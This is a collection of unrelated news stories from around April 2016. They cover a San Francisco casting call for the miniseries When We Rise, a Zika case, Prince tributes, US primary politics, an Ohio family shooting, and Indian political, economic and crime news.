Cleve Jones, one of the miniseries' subjects and the author of the forthcoming memoir on which it will be based, made the announcement on Facebook yesterday that the production was looking for background actors and extras in San Francisco. "All experience levels welcome!" wrote Jones, who's been on set in Vancouver this week. "Seeking all races, genders and body types, but people with hairstyles consistent with the 1970s are especially needed!"

Shooting will take place at the end of April and the first week of May. Those who'd like to appear as extras are being asked to email wwr.casting@gmail.com. In the subject line, be sure to include your name and whether or not you're over the age of 18. The email body should include a contact number, info on whether or not you're a SAG member, and a current photo.

A casting call on Backstage has a few more details on specific roles that the production is looking to fill. One role, open to all ethnicities, is for "men that flocked to the area in the 1970s, seeking personal freedom and greater civil rights." Another role is specifically for Caucasian men who are "representative of the physical ideal of the time; must be fit and comfortable showing off physique (shirtless)."

When We Rise, set to air next year, will chronicle the "real-life personal and political struggles, set-backs and triumphs of a diverse family of LGBT men and women who helped pioneer one of the last legs of the U.S. Civil Rights movement from its turbulent infancy in the 20th century to the once unfathomable successes of today."

Along with Jones (played by Guy Pearce), the film's subjects will include women's rights leader Roma Guy (Mary-Louise Parker) and her social-justice activist wife Diane (Rachel Griffiths); African-American community organizer Ken Jones (Jonathan Majors); and transgender activist Cecilia Chung.

At the Castro Merchants meeting earlier this month, location scout and manager Heather MacLean was able to provide a few more details about When We Rise's plans for shooting in the Castro. Shooting will largely take place between the 400 and 500 blocks of Castro Street, and as with Milk in 2008, the production team will be dressing up local businesses and bringing in period cars to give the appearance of the 1970s. While the sidewalks will still be open to pedestrians during shooting, crew members will be asking people to wait between takes.

The shoot will impact parking along Castro Street, MacLean said. To compensate, the crew is currently working with nearby Everett Middle School, to potentially allow access to their parking lot for use by private cars.

MacLean wanted to emphasize that When We Rise aims to impact the neighborhood as little as possible, and production won't be taking over the whole area at once. The plan is to move around, shooting in specific areas in order to avoid shutting down both blocks.

MacLean also noted that the production plans to shoot two scenes for the series that involve a bar patron being harassed by a passerby. While it might seem obvious that the attack is staged, given the large film crew in the street, she wants to ensure that neighbors aren't inadvertently frightened by the scene.

We'll keep you posted on exactly where and when the series will shoot in the coming weeks. And for those who score roles as extras, break a leg!

This story originally appeared on Hoodline.com.
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A pregnant San Francisco woman who had recently been in Central America tested positive for the Zika virus, public health officials said Friday.

The woman has experienced no symptoms of Zika, but got tested because of known risks to babies born to women who were infected during pregnancy. Her test came back positive Thursday.

She is San Franciscos second case of Zika infection since the virus began spreading widely in Central and South America late last year, and it is the second case of Zika in a pregnant woman in the Bay Area.

The San Francisco Public Health Department is not revealing what country the woman was in when she was exposed to Zika or any other information about her.

Zika is known to cause birth defects, in particular microcephaly, a condition in which the head is smaller than normal. Microcephaly can be fatal and may cause severe problems with brain development and neurological function.

But the relationship between Zika and birth defects, including the degree of risk, is not yet fully understood. Not every pregnancy exposed to Zika will result in a child with birth defects.

The San Francisco woman will be followed closely by her doctor through her pregnancy, officials said.

There is no cure for Zika or for the birth defects it can cause. The U.S. Centers for Disease Control and Prevention has been constantly updating guidelines for doctors on how to monitor pregnant women exposed to Zika.

This is an emerging infection, so knowledge is evolving, said Dr. Cora Hoover, director of communicable disease control and prevention with the San Francisco Department of Public Health. The CDC and the professional specialty organizations are helping to guide providers through this.

Zika is spread primarily through mosquito bites and occasionally through sex. The virus is not yet spreading in the United States, so any cases reported here are in people who acquired the infection elsewhere or who had sex with someone who acquired it elsewhere.

Symptoms of infection include fever, rash, joint pain and red, watery eyes. But up to 80 percent of people infected have no symptoms. In those who do get sick, the illness is not usually serious.

The CDC has recommended that women who are pregnant or considering becoming pregnant soon avoid more than two dozen countries in Central and South America where Zika is widespread. For more information about Zika and where it is endemic, visit the CDC website.

Erin Allday is a San Francisco Chronicle staff writer. Email: eallday@sfchronicle.com Twitter: @ErinAllday
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It didnt take long for all the Prince vinyl to sell out at Berkeleys Mad Monk Center after news of his death Thursday at his estate near Minneapolis blew up social media. The store had about 25 LPs when it opened, but in less than an hour, the record bin was empty, save for a little yellow sticky note taped to one of the black dividers that read: R.I.P. Prince!

It was the same story across the street at Amoeba Music; all the CDs and all the records were gone. Up the street at Rasputin Music, by 1 p.m. the stores 50 CDs  two full rows  and 20 DVDs had sold out.

Its been crazy, man, said T.J. Hamilton, Rasputins soul music buyer. Its a sad day. ... Im gonna go home, watch Purple Rain and chill out.

Throughout the Bay Area and the nation, people were mourning Prince. Hundreds of fans had gathered outside Princes home and studio complex, called Paisley Park, near Minneapolis. San Francisco City Hall was to glow purple Thursday night, while in Portland, Ore., officials turned the lights purple on one of the city bridges in his honor.

In New York, Questlove and Talib Kweli quickly threw together a tribute night at Brooklyn Bowl. And San Franciscos Roxie Theater decided to add a special midnight screening of Purple Rain on Friday, April 22, which is just one of many tributes expected to pop up in the Bay Area in the coming days.

Prince, the great Purple One who brought music lovers to their feet with hits like Lets Go Crazy and 1999, had been in the Bay Area just a couple months ago. He played two concerts at Oaklands Paramount Theatre in February before announcing a surprise third concert just a few days later at Oracle Arena in March. He landed a spot courtside as the Warriors played Oklahoma City and watched as the Warriors dancers performed a tribute to him.

Rasputins Hamilton managed to get into one of the concerts at the Paramount.

It was shocking cuz, actually, I wasnt really supposed to be there, he said. A friend works there, so he got me a working permit just to help out.

MORE PRINCE NEWS Prince, musical and social trailblazer, dies at 57

It was great, dude. It was wonderful.

As Hamilton was talking, Yolanda Martinez-Alley, 36, and Vince Martinez-Alley, 39, started looking through the few CDs that were left. Theyd come to Rasputins as soon as they could.

I was just shocked, Yolanda Martinez-Alley said. When I was a kid, my older sister  she was a teenager back then; I was 7 or 8  I just remember her dressing us up, putting on makeup and dancing and singing around the house to Prince.

Next to her, Vince Martinez-Alley was humming some bars from a Prince song, trying to remember the one he was after.

When Doves Cry, he said.

I want When Doves Cry, I know that, she said.

Over the speakers, the Girl 6 soundtrack played. The store, Hamilton said, would be playing Prince all day. So would Misha Holmes, 43, and her daughter, MaCherris Johnson-Colbert, 24. Theyd managed to snag the last few CDs, including two copies of Lotusflower.

I want my own, cuz I dont want to share with you, Johnson-Colbert said, teasing her mom.

Holmes said her niece had texted her that morning. Holmes didnt believe her; she thought it was joke. She was like, Im not playing. Im so serious. Check news. So, Holmes did. And he was gone. I just ... I dont know. I feel like when I lost my mom.

Holmes and Johnson-Colbert dont always enjoy the same kinds of music. But Prince, they both get him.

That is something that we can compromise on, Johnson-Colbert said. If I had known, I would have been here first in line and grabbed every single CD, every vinyl record, every movie.

There will never, ever, ever be another genius like him, Holmes said. His music will forever be in rotation.

Ryan Kost is a San Francisco Chronicle staff writer. Email: rkost@sfchronicle.com

Twitter: @RyanKost.

Film screening

Purple Rain will be shown Friday at 11:15 p.m. at the Roxie Theater, 3117 16th St., S.F. $12. Find more information at roxie.com.
GETTYSBURG, Pa.  Bernie Sanders is sending mixed signals on whether he will persist in his critique of Hillary Clintons record as some Democrats urge the party to coalesce around the former secretary of state.

Sanders largely gave her a pass Friday, except by implication, as he denounced the thinking behind the Iraq war, which she supported, and warned of the risks of pushing regime change, as he addressed and took questions from a crowd of 2,000 in a gym in Gettysburg.

It turns out that regime change more often than not ends up causing instability and unintended consequences that people have not thought through, he said.

A day earlier Sanders invoked Clintons acceptance of $200,000-plus in speaking fees from Wall Street firms, urging his opponent to release transcripts of the addresses. The Vermont senator also reiterated his differences with Clinton over fracking, the use of super PACs, trade deals and the Iraq war, which he opposed, as the two campaign for the primaries Tuesday in Pennsylvania and four other states.

Clinton has been more muted in her assessment of Sanders since she won a convincing victory in her home state of New York. She briefly mentioned his handling of gun control at an event Friday in Pennsylvania, as she did a day earlier with Connecticut family members of the 2012 Sandy Hook school shooting.

I voted against it, she said of a bill to protect gun-makers from liability. My opponent, Senator Sanders voted for it.

Clintons event in the Philadelphia suburbs was focused on ensuring equal pay for women and she was joined by Lily Ledbetter, who inspired the namesake fair pay law signed by President Obama that aimed to make it easier for women to sue over wage discrimination.

Pennsylvania offers the biggest prize in Tuesdays primaries. Both candidates are also vying for delegates in Maryland, Connecticut, Rhode Island and Delaware.

Clintons campaign has said Sanders could hurt the partys ability to unite against the eventual Republican nominee.

I do think it is time to tone down some of the rhetoric and the harshness of those disagreements, said former Rep. Allyson Schwartz of Pennsylvania, a longtime Clinton supporter.
We have never had anything to do with the Uttarakhand crisis. They are doing their work and we are doing our work, says Ramdev. (Photo: PTI)

New Delhi: Yoga guru Ramdev on Friday said he never had "anything" to do with the political crisis in Uttarakhand where the high court has quashed President's rule.

"We have never had anything to do with the Uttarakhand crisis. They are doing their work and we are doing our work," he said.

"There was no involvement from our side. If somebody lies, there is no answer to that. What ever we do, we do it openly," he said.

Congress had last month accused Ramdev of "hatching" a plot jointly with the BJP leadership to topple the state government. He had then refuted the charge.
HOLLYWOOD, Fla.  The Republican Party wont hand the nomination to any presidential candidate who fails to win a majority of delegates in the coming weeks, the head of the GOP said Friday.

In a speech Friday to Republican National Committee members in Florida, Chairman Reince Priebus said it doesnt matter how close a candidate comes, if he doesnt claim the necessary 1,237 delegates. Front-runner Donald Trump has said he should be the nominee as long as he has the most delegates after the state-by-state primary process ends  even if he falls short, which appears quite possible.

If we dont abide by the majority, we dont honor one of the bedrock values of American government, Priebus said. Majority rule is as American as apple pie or Opening Day.

Priebus said that without a clear majority, the party will pick its nominee at a contested convention, which will be held in July in Cleveland.

In another remark that seemed aimed at Trump, Priebus called for his party, including the current crop of contenders, to rally behind the eventual nominee. Trump at different times has declined to rule out a third-party candidacy, should his bid for the Republican nomination fall short.

No one is forcing them to wear our jersey, Priebus said of the Republican contenders. We expect our candidates to support our party and our eventual nominee.

Also Friday, the maverick RNC member who tried altering his partys rules for picking a presidential candidate said he now believes there is no need for a change because the bylaws are tougher than he realized.

A day earlier, the partys rules committee rejected a bid by Oregon RNC committeeman Solomon Yue aimed at making it harder for a new presidential candidate to emerge from this Julys gathering in Cleveland.

Yues proposal would have allowed the 2,472 delegates, by majority vote, to prevent the conventions presiding officer from allowing new nominees. Supporters of Trump and contender Texas Sen. Ted Cruz and many grassroots conservatives have worried that party leaders will try dumping Trump and Cruz in hopes that an outside candidate will emerge.

On Friday, Yue cited little-noticed remarks that RNC general counsel John Ryder made at Thursdays rules committee meeting. Ryder said existing rules already require the presiding officer to get a two-thirds majority vote to permit new nominations. Thats a steeper hurdle than what Yue had proposed.

We went through this for nothing, Yue said Friday. I believe this two-thirds deal is better.
PIKETON, Ohio  Eight members of a family, including a mother sleeping in a bed with her 4-day-old baby next to her, were fatally shot in the head on Friday, leaving their rural town reeling while a manhunt was launched for whoever killed them.

Three children, including the newborn, survived the grisly killings that left seven adults and a 16-year-old boy dead in Pike County, said Attorney General Mike DeWine and Sheriff Charles Reader at a news conference. The economically distressed county in the Appalachian region has some 28,000 residents and is located 80 miles east of Cincinnati.

DeWine said there were no indications that any of the dead killed themselves, and Reader said if the shooter or shooters are at large, they should be considered armed and dangerous.

Some of the victims were in bed, indicating they were shot while they were sleeping, authorities said. The victims were identified as members of the Rhoden family.

Its heartbreaking, DeWine said. The one mom was killed in her bed with the 4-day-old right there.

A motive isnt clear, authorities said, but they urged other members of the Rhoden family to take precautions, and Reader advised all residents to stay inside and lock their doors Friday night.

This really is a question of public safety, and particularly for any of the Rhoden family, DeWine said.

The first three homes where bodies were found are within a few miles of each other on a sparsely populated stretch of road, while the eighth body was found in a house within 30 miles, the sheriff said.

The other surviving children were 6 months old and 3 years old, authorities said.

Authorities didnt release any information on whether there were multiple weapons used or whether anything was missing from the homes.

Gov. John Kasich, campaigning in Pennsylvania for his Republican presidential bid, said his office was monitoring the situation in Pike County.

Reports we are receiving ... are tragic beyond comprehension, Kasich wrote on his Twitter account.

The FBI in Cincinnati also said it was closely monitoring the situation and has offered assistance to the Pike County sheriffs office if needed.

Peebles High School imposed a lockout Friday morning after authorities notified the superintendent of shootings that had occurred a few miles awa. High school officials said the school was back to normal operations later Friday.
1 Shooting spree: A man accused of killing six people in southwestern Michigan was found competent Friday to understand the murder charges against him and assist his attorney. A judge held a hearing Friday to review the results of medical evaluations for Jason Dalton. His criminal case in Kalamazoo was on hold for weeks while experts determined whether he understood the process. The exam was not intended to determine whether Dalton was insane at the time of the Feb. 20 shootings. Police say the 45-year-old shot people outside an apartment building, a restaurant and a car dealership in between driving passengers for Uber.

2 Student killed: A fight in a high school restroom in Wilmington, Del., involving several female students ended with the death of a 16-year-old sophomore Thursday, authorities said. The victim was a 10th-grader from New Castle who had gotten involved in a confrontation involving two other students at Howard High School of Technology, spokeswoman Kathy Demarest said in a statement. She said no weapons were involved. Police are questioning the other students, Demarest said. Police identified the girl Friday as Amy Joyner-Francis.
The pilot of a solar-powered plane on an around-the-world journey took a few minutes Friday to exchange pleasantries with the United Nations secretary general as he flew high above the Pacific Ocean en route to a stop in the Bay Area.

I speak to you from the cockpit of Solar Impulse in the middle of the Pacific, flying only on solar power. No fuel, pilot Bertrand Piccard told U.N. Secretary-General Ban Ki-moon during a brief conversation streamed live on his aircrafts website.
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RICHMOND, Va.  More than 200,000 convicted felons will be able to cast ballots in the swing state of Virginia in Novembers election under a sweeping executive order by Democratic Gov. Terry McAuliffe announced Friday that restores their rights to vote and run for office.

The Democrat said his actions would help undo Virginias long history of trying to suppress the black vote.

Too often in both our distant and recent history, politicians have used their authority to restrict peoples ability to participate in our democracy, McAuliffe said in a statement. Today we are reversing that disturbing trend and restoring the rights of more than 200,000 of our fellow Virginians, who work, raise families and pay taxes in every corner of our Commonwealth.

Virginias Republican House Speaker William Howell accused McAuliffe of changing the rules to ensure Hillary Clintons victory in the presidential race in November.

McAuliffe said he is certain he has the legal authority for the extension of voting rights after consulting with legal and constitutional experts, including Virginia Attorney General Mark Herring.

The governors action means every Virginia felon who has completed their sentence and finished any supervised release, parole or probation requirements as of April 22 will be able to vote, run for public office, serve on a jury and become a notary public. The administration estimates that about 206,000 people will be impacted.

McAuliffe has made the restoration of rights of former convicts a priority of his administration. Before Fridays order, the administration had restored the rights of more than 18,000 felons, which officials said is more than the past seven governors combined.

The Washington based Sentencing Project estimates that nearly 6 million Americans are barred from voting because of laws disenfranchising former felons. Such policies disproportionately prevent African Americans from voting, the group says.
The notice seeks a discussion on the serious situation arising out of prevailing drought and heat wave conditions and resultant water crisis in the country and the remedial measures taken by the Government in regard thereto. (Photo: PTI)

New Delhi: Opposition parties are set to raise the issue of drought in the country in a big way in Parliament in second half of the Budget session beginning Monday with several members having already given notices to discuss it.

They have been training their guns on the government on drought accusing it of turning a "blind eye" to the problem and asking for an all-party meeting to discuss it and the resultant water crisis in the country.

Leader of Opposition in Rajya Sabha and senior Congress leader Ghulam Nabi Azad and his party colleagues Anand Sharma, Hussain Dalwai, Bhubaneswar Kalita, Rajani Patil, Viplove Thakur, Mohammed Ali Khan, AU Singh Deo (BJD), K C Tyagi(JDU),

Satish Chandra Mishra (BSP), independent member Rajeev Chandrasekhar and nominated member KTS Tulsi have already given a notice to Rajya Sabha Chairman Hamid Ansari in this regard, which has been admitted.

The notice seeks a discussion on the "serious situation arising out of prevailing drought and heat wave conditions and resultant water crisis in the country and the remedial measures taken by the Government in regard thereto."

The notice has been admitted under Rule 177 of the Rules of Procedure and Conduct of Business and the issue will be discussed on April 27.

Claiming that the Centre has no "serious" plan in place to tackle drought, CPI had already demanded the government should convene an all-party meeting to discuss the calamity and figure out ways to combat it.

Congress demanded Prime Minister Narendra Modi should call a meeting of chief ministers of drought-hit states to tackle the situation on a war-footing.

Uttar Pradesh Chief Minister Akhilesh Yadav recently accused the Centre of turning a blind eye to drought-hit Bundelkhand.

Amid criticism of the government on the drought and resultant water crisis issue, Rural Development Minister Birender Singh has rued that over Rs 1,500 crore central funds are lying unspent in states, which could have been used to mitigate the drinking water crisis in the parched areas.

Singh has been maintaining that he has already asked the states to utilise 10 per cent of the flexi funds lying with them for mitigating the problems like natural calamity even as the Centre was extending support to them.
The images of Bengaluru police wantonly caning hundreds of women garment workers while they were staging sit-ins during the protests on Tuesday will not fade away quickly from public memory.

Bengaluru: Did the state government know there would be a massive garment workers protest in the city on Monday and yet fail to do anything to make sure it did not go out of control?

Home minister Dr G. Parameshwar may well have opened a Pandoras box admitting that intelligence agencies had warned the government a day before the protest, which worsened into a showdown between the cops and protesters on the second day on Tuesday. We wanted to talk to the protesters but they were leaderless, there was no one to talk to, he disclosed.

Blaming anti-social elements for converting a peaceful protest into a lawless mob, the minister said the police had to exercise restraint because of the huge number of women protesters, which limited their options for controlling the crowd.

There were gas cylinders in a building adjacent to Hebbagodi police station which was set on fire. If they too had been set ablaze, 500 people would have been killed, he said explaining the hapless situation the police found themselves in.

What happened in Bengaluru and its outskirts on April 18 and 19 is an insight into the State and City's Intelligence apparatus, which failed to predict and preempt large scale violence and destruction of public and private property by unruly and anti social elements in the garment factory workers protest against the Central government's proposed amendment to the Employees' Provident Fund (EPF) rules, which restricted withdrawal of funds before the age of 58 years.

"Every police station is also responsible for collecting ground Intelligence in their area and the issues that can trigger law and order situation. They are supposed to be shared with their higher ups and passed on for timely and appropriate action as part of their daily routine.

Since it is an unorganized and oppressed sector there were chances that the anti-social elements would sabotage the silent protest with violence and arson. The police was targeted and the Hebbagodi police station was set on fire. The Intelligence should have anticipated trouble and handled the rowdy elements to prevent them from indulging in violence. They should have mapped the rowdy sheeters in the areas, where there are maximum garment factories and taken preventive action," said former Intelligence chief Gopal Hosur.

He added that the police alone should not be blamed for the Intelligence failure. "What was the Labour Department doing? Why didn't the Intelligence wing in the Labour Department inform the police about the anger against the proposed PF amendment? Even the political leadership including the Opposition, local leaders and corporators, who are people's representatives are responsible for collective failure to prevent the arson. Intelligence gathering cannot be done in isolation," added Hosur

He said that an alleged rumour; that the amendment would absolve the employers from making their contribution to the employees' PF account upped the ante and led to mob fury in which some rowdies indulged in rioting and violence.

The plight of woman garment workers

Women comprise about 96 per cent of the garment factory workforce because women can take the amount of abuse and oppression that exists in these sweatshops. A woman alone can take so much abuse and not raise her voice or demand a hike in her salary because she has to fend for her family. No man will take so much abuse

A woman employee

They hire women because they are cheap labour. They are good at their work and can work for extended hours without demanding a raise or their voice against any kind of oppression. They can handle higher

production targets and it is

easy for factory owners to hire and fire women at their fancy. They get `272 as their daily wage with a minimal annual increase in their dearness allowance of around `15

Jayaram K.R., member of Garment & Textile Workers Union
The state government has enacted the Telangana State Industrial Project Approval and Self Certification System TS-IPASS to encourage investors. (Photo: Representational Image/PTI)

Hyderabad: Hyderabad, which ranked second in the country with IT exports worth about Rs 67,000 crore in 2015-16, may become the top-ranked IT destination globally in the next 3-4 years period, Telangana Minister of Finance and Planning, Etela Rajender said on Friday.

"The future I see for IT industry in Hyderabad is one which focuses on creation of IT products, services and interactive experiences that define new opportunities in the global markets," said Rajender while inaugurating a seminar on 'Ease of Doing Business in Telangna', organised by Associated Chambers of Commerce and Industry of India (ASSOCHAM).

An ASSOCHAM press release quoted him as saying that Central government would be investing Rs 10,000 crore in Hyderabad as part of its scheme of Information Technology Investment Region (ITIR).

He said that to encourage investors for quick implementation of their projects, to streamline the regulatory process at a single point and to provide investor friendly environment, the state government has enacted the Telangana State Industrial Project Approval and Self Certification System TS-IPASS.

"TS-IPASS is a concept to provide all entry level services to entrepreneurs with minimum interference from departments in a transparent manner within specified time leading to hassle free approval," the minister said.

Earlier in his address, K Manicka Raj, Commissioner, Department of Industries, Telangana government, said the state would emerge as India's major pharmaceutical hub in the next two years.

"With Pharma City and common facilities coming in, I can foresee in the next two years, setting up a pharma unit for any multinational or investor is going to be much easier in Telangana than any other state in India," Raj said.
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They're not worried about a Boaty McBoatface incident at the San Francisco Fire Department, it seems.

The fire department is asking San Francisco students to suggest a name for their newest fire boat, which is currently being built in Seattle, Washington.

SFFD is asking students in kindergarten through eighth grade to suggest a name for the department's first custom-built boat in more than 50 years.

"This is a big deal. We're really excited," says Olivia Scanlon, communications outreach coordinator for SFFD.

The new boat will serve as the department's primary boat when it's delivered later this year. The department's other two fire boats are more than 60 years old.

Scanlon says the new boat will enhance the department's marine firefighting and response on the Bay. In addition to providing support for water rescues and protecting the Port of San Francisco, the boat will also be able to serve "as a redundant water source for Fire Department engines in the case of an emergency, as it can pump water directly from the Bay."

The last time the fire department got a new fire boat was shortly after the 1989 Loma Prieta earthquake. Two anonymous donors gave the city $300,000 to buy a fire boat from Vancouver, Canada after the department's fire boat, the Phoenix, essentially "saved the Marina from greater catastrophe."

The department held a naming contest for its second boat, as well. That boat was named by a then-San Francisco 3rd grader who happens to have gone on to be a San Francisco police officer, Scanlon says.

The new boat is coming at a cost of $11.8 million, the majority of which is being funded through a federal Emergency Management Agency port security grant.

Scanlon says since they launched the naming contest, she's heard from teachers around the city who are using the contest in their lesson plans, teaching students about the city's fire department, which is celebrating its 150th anniversary this year.

The contest is open until May 18 and the winning name will be chosen by a selection panel, made up of fire department and city officials.

The department expects to receive their new boat in late May/early June 2016.
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SAN FRANCISCO (BCN)



One of 16 new U.S. Postal Service Forever stamps celebrating this year's centennial of the National Park Service will celebrate the San Francisco Maritime National Historical Park, park service officials announced today.



Located near Fisherman's Wharf, the San Francisco Maritime National Historical Park has five National Historic Landmark vessels berthed there.



The stamp celebrating national maritime historic park has an image of two of the boats. The 1886 square-rigger Balclutha is in the forefront and to the right of it is the 1907 steam tugboat Hercules.



Visitors can board both boats at the Hyde Street Pier.



A first-day-of-issue ceremony will take place at or near the maritime park on June 2.







208-6843



National Park Service spokesman Mark Saunders (202) 268-6524



San Francisco Maritime National Historic Park spokesman Lynn Cullivan (415) 561-7006








National Security Advisor Ajit Doval meets Chinese Premier Li Keqiang after attending the 19th round of boundary talks in Beijing on Thursday (Photo: PTI)

New Delhi: Besides the border question, India and China discussed issues related to counter-terrorism including Beijings blocking of Indias bid in the UN to ban Pakistan-based JeM chief Masood Azhar, National Security Advisor Ajit Doval said ON Thursday.

He said he had also raised firmly with the Chinese, the presence of the Chinese Peoples Liberation Army (PLA) in Pakistan-occupied Kashmir (PoK).

During Mr. Manohar Parrrikaras visit, China, in turn, is understood to have raised the issue of the recent visit to India by US Defense Secretary Ashton Carter and Indias move to sign a logistics pact with the United States.

But New Delhi apparently made it clear to Beijing that India had taken an autonomous stand on various foreign policy issues as per its strategic interests.

Welcoming Doval, Li recalled his meeting with Defence Minister Manohar Parrikar two days ago during which the both sides discussed the progress in bilateral ties.

These meetings show smooth communication and close engagement between our two countries in political and security affairs. It also shows how both sides attach great deal of importance to ensure steady growth of China-India relations, Li said.
Bengaluru: In a tragic incident C. Gurunath, former labour minister from Janata Dal (Secular) committed suicide by jumping from the second floor window of Sagar Hospital in Tilak Nagar on Thursday afternoon.

Gurunath (69), was a resident of Kumaraswamy Layout and hailed from Shabad in Chittapur in Kalaburgi. He was suffering from diabetes and had renal ailments, for which he was undergoing treatment at the hospital since Monday. Gurunath underwent a surgery on Wednesday, but he was experiencing a lot of pain after the surgery.

Sources said even though Gurunath had four children, none of them visited him at the hospital, which could have probably led him into depression. We cannot attribute one single reason. This could be one among the reasons. His wife also had not come. His nephew Dilip, a doctor, was attending on him, hospital sources said.

According to the police, Gurunath, who was supposed to be discharged on Thursday, jumped from the window of the second floor twin-sharing room. He was sharing it with a BSNL divisional engineer Arunachalam, who saw Gurunath jump.

The police also stated that except the two of the patients, there was none other in the room. Both the attendants, including Gurunaths nephew, had gone to call the duty doctor. Gurunath reportedly pressed open the window and jumped out from there.
New Delhi: A Pakistani national and the husband of Chikku Robert, a nurse from Kerala who was found murdered at her residence in Oman, have been put under detention and are being investigated in the case, External Affairs Ministry said on Friday.

"On 21st April in Salala Oman, a nurse from Kerala, Chikku Robert was found murdered. Our mission in Muscat has informed us that the royal Oman police is currently investigating her death. A neighbour, who is a Pakistani national and her husband are under detention and are being investigated," said MEA official spokesperson Vikas Swarup.

"The Embassy is in touch with the police authorities concerned. Her mortal remains are in a mortuary in the custody of royal Oman police. The Mission in Oman will continue to follow up the case with authorities concerned including release and transportation of the mortal remains after the investigation is completed as per the wishes of the family," Swarup added.

According to reports, Robert (25) was stabbed to death at her residence.

Read: Pregnant Kerala nurse stabbed to death in Oman

"Her mortal remains are in a mortuary under the custody of the Royal Oman Police. The Mission in Oman will continue to follow up the case with the concerned police authorities, including the release and transportation of the mortal remains after the investigation is completed as per the wishes of the family," he added.

External Affairs Minister Sushma Swaraj on Thursday condoled the murder of the nurse in Salalah city of Oman.

"I am sorry to know about the murder of Ms Chikku Robert - an Indian national from Kerala working as a nurse in Oman. I have asked Indian Ambassador to ascertain all the facts and report. My heartfelt condolences to the bereaved family," Swaraj said in a tweet.

I am sorry to know about the murder of Ms.Chikku Robert - an Indian national from Kerala working as a nurse in Oman. /1  Sushma Swaraj (@SushmaSwaraj) April 21, 2016

I have asked Indian Ambassador to ascertain all the facts and report. My heartfelt condolences to the bereaved family. /2  Sushma Swaraj (@SushmaSwaraj) April 21, 2016

25-year-old Robert, a staff nurse with Badr Al Samaa Group of Hospitals, Salalah from Angamaly in Ernakulam, was found murdered in a suspected theft attempt at her flat in Salalah, Oman.
BENGALURU: Legal luminaries do not see a case of witch-hunting in the state governments decision to file a Special Leave Petition (SLP) in the Supreme Court against the acquittal of state BJP president B S Yeddyurappa by the high court in 15 cases of denotification of land, indicating tough times ahead for the Lingayat strongman.

Legal experts said keeping technicalities in mind, the high court quashed 15 FIRs registered by the Lokayukta police against Mr Yeddyurappa vis-a-vis denotification of land and allotment of BDA sites in violation of rules. Based on the CAG report, the Lokayukta police had registered the FIRs following a complaint by social activist Jayakumar Hiremath.

These experts did not rule out the possibility of the apex court admitting the SLP if the state files it and even staying the high court order which had delivered its verdict on lacunae in FIRs on technical grounds.

The state government took a decision to move the apex court on the basis of the opinion of additional advocate general, Ponnanna. A senior advocate saw merit in the complaint filed by Mr Jayakumar Hiremath which was based on a report submitted by the CAG.

Acting on the complaint, the Lokayukta police registered 15 FIRs, he added. In its verdict, the high court had observed that Lokayukta police had no jurisdiction to register FIRs against Mr Yeddyurappa as the CAG report was not debated and accepted or rejected by the state legislature.

Only parliament or the state legislature has to discuss the CAG report and to accept it or reject it. The counsel for Mr Yeddyurappa had highlighted this aspect during his arguments in the high court.

Its nothing but political vendetta: BJP netas

The state governments decision, and timing of the move to file a SLP in the apex court, has irked BJP leaders.

The cabinet took the decision to move the Supreme Court after a gap of four months and only after appointment of Mr Yeddyurappa as the state unit president to take on the government headed by Chief Minister Siddaramaiah. They slammed the government saying it was certainly a case of political vendetta against Mr Yeddyurappa.

Speaking to the media here on Thursday, Mr Yeddyurappa remarked the governments decision to file a SLP against me is nothing but a case of political vendetta. I am not surprised by the governments decision.

In fact I am expecting such a move by the Siddaramaiah government. I will fight the case in the Supreme Court. I have faith in the judiciary. Like me, many Chief Ministers have denotified land.

Govt taking on rivals: KSE

The statement of Law Minister T.B. Jayachandra that an appeal would be submitted in the Supreme Court against Bharatiya Janata Party state president B.S. Yeddyurappa challenging the quashing of cases against him, is an act of political rivalry, remarked Leader of the Opposition in the Legislative Council K.S. Eshwarappa on Thursday.

Speaking at a press conference, he said that the Congress government was hitting back at everyone who questions its credibility. The BJPs Rajya Sabha MP Ayanur Manjunath felt the decision to move the Supreme Court against Mr Yeddyurappa was uncalled for.
The delay in the process may also lead to delay in estimated investments of about Rs 2.19 lakh crores and nearly 60 lakh jobs.

Hyderabad: The proposed Information Technology Investment Region (ITIR) project may be delayed as the Union Government informed the state government that it would revise the entire plan. The delay in the process may also lead to delay in estimated investments of about Rs 2.19 lakh crores and nearly 60 lakh jobs.

In a recent visit to Delhi of IT minister Mr. K.T. Rama Rao and IT Secretary Mr. Jayesh Ranjan, the Union IT minister Mr. Ravishankar Prasad had informed them about the decision.

Earlier, the N. Kiran Kumar Reddy government had approved the master plan of Hyderabad Metropolitan Development Authority (HMDA) which was to be applicable till 2031.

The Centre had approved the plan in September 2013 and the phase-I has to commence by 2018. But, the TS chief minister Mr. K. Chandrasekhar Rao wanted to revise the plan as the government has several goals including one to develop Hyderabad into a global city.

Last year, the government constituted a panel comprising of CMO principal secretary Narsing Rao, HMDA commissioner and MAUD principal secretary to redraft a master plan.

The new master plan will draft land use details for ITIR to be established in an area of 202 sq km (49,913 acres) in HMDA limits. The main aim of the government for revising the plan was to expand IT sector around Hyderabad instead of developing only one locality.

TS has identified clusters for the project at Madhapur, Gachibowli, Manikonda (Financial District), Raidurgam, Kondapur, Tellapur, Baha-durpally, Javahar Nagar, Uppal, Pocharam, Hard-ware Park, E-City, Fabcity and Maheswaram localities around Hyderabad.

As per the previous master plan, the Union Government was to support the state for developing ITIR from 2013-18 in the first phase with around `942 crore. As the Telangana government revised the plan, the Union Govern-ment too would make revisions.

IT Secretary Mr. Jayesh Ranjan told DC that the declaration of revision was pending with the Government of India. When we met the union IT minister, he inform-ed about the revision. It is a big process. The Union Cabinet has to approve it and it may take time, he said.

Out of the 202 sq.km area, 41 per cent (82.4 sq.km) will be the processing area (IT office space) and another 76.9 square kilometers will be exclusively spent for greenfield. Already, Madhapur, Gachibowli and Nanakramguda IT corridor has covered 5.5 square kilometer.
Vijayawada: Extending full support to Andhra Pradesh government, Union Urban Development Minister M Venkaiah Naidu on Friday said the combination of Chandrababu Naidu and Prime Minister Narendra Modi will swiftly push the state towards development.

"Chandrababu is taking up development programmes with a foresight. He is dreaming of making the state into a 'Swarna Andhra Pradesh' (golden AP). Under Prime Minister Narendra Modi's leadership, the country is racing on the track of development. The Modi-Chandrababu combination will lay a golden path for AP's development," Naidu said.

Referring to the Chief Minister's plea for Central assistance for the state's development, the Urban Development Minister said there was no need for concern as the Centre would fulfil its responsibilities.

Meanwhile, Chandrababu Naidu announced on Friday that Andhra Pradesh government is ready to allot 500 acres of land at Visakhapatnam for setting up a bulk drugs park.

